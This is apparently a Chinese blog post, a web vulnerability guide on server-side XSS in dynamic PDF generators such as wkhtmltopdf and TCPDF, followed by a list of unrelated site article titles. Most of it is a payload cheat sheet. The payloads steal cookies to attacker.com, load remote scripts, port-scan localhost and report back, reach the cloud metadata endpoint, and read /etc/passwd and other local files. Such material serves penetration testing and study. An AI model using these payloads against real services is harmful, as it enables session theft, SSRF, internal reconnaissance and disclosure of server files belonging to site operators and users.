当前位置: 首页 > news >正文

【Web漏洞指南】服务器端 XSS(动态 PDF)

【Web漏洞指南】服务器端 XSS(动态 PDF)

  • 概述
  • 流行的 PDF 生成工具
  • 常见攻击载荷

概述

如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。
因此,如果PDF 创建机器人发现某种HTML标签,并且解释它们,您可以滥用这种行为来引起服务器 XSS。
在常规利用中,能够查看/下载创建的 PDF,因此您将能够查看您通过 JS 编写的所有内容(例如使用 document.write())。但是,如果您无法看到创建的 PDF,可能需要通过向您发出网络请求来提取信息(盲人测试)


流行的 PDF 生成工具

  • wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名
  • TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案
  • 对于在 Node.js 环境中工作的人,PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档
  • Java 开发人员可能更喜欢 iText,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充
  • FPDF 是另一个 PHP 库,以其简单性和易用性而著称

常见攻击载荷

1、测试XSS

<!-- 基本测试 -->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script><!-- 盲测 -->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

2、SVG payload

一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg><svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill=""
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

更多SVG负载:

https://github.com/allanlw/svg-cheatsheet

3、路径泄露

<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

4、加载外部脚本

利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" οnerrοr="document.write('<script src="https://attacker.com/test.js"></script>')"/>

5、机器人延迟

让机器人每 500 毫秒发送一次 ping 来检查机器人等待了多长时间

<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

6、端口扫描

<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

7、读取本地文件 / SSRF

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
http://www.lryc.cn/news/344881.html

相关文章:

  • Qt中的对象树
  • QT-day1
  • 安装oh-my-zsh(命令行工具)
  • 解决方案:‘Series‘ object has no attribute ‘xxxx‘
  • 智慧手术室手麻系统源码,C#手术麻醉临床信息系统源码,符合三级甲等医院评审要求
  • 项目公共组件代码
  • 深入解析MySQL中的事务(上)
  • Springboot项目使用redis实现session共享
  • 【Linux】Centos7安装部署unimrcp,搭建MRCP服务器
  • 什么是Jetpack
  • macOS sonoma 14.4.1编译JDK 12
  • GPU通用计算介绍
  • 如果数据给的是树形 转好的树形结构并且是有两个二级children的话 该如何写?
  • C++ 函数重载
  • 5. 分布式链路追踪TracingFilter改造增强设计
  • C++数据类型与表达式
  • 电脑ip地址设置成什么比较好
  • vue-element-template优化升级dart-sass、pnpm
  • Oracle拼接json字符串
  • 如何向Linux内核提交开源补丁?
  • python数据分析——pandas DataFrame基础知识2
  • TODESK远程开机的原理
  • 【c1】数据类型,运算符/循环,数组/指针,结构体,main参数,static/extern,typedef
  • word图片水印
  • kali安装及替换源
  • JSpdf,前端下载大量表格数据pdf文件,不创建dom
  • PHP关联数组[区别,组成,取值,遍历,函数]
  • JavaWeb--13Mybatis(2)
  • 如何远程控制另一部手机:远程控制使用方法
  • x64dbg中类似于*.exe+地址偏移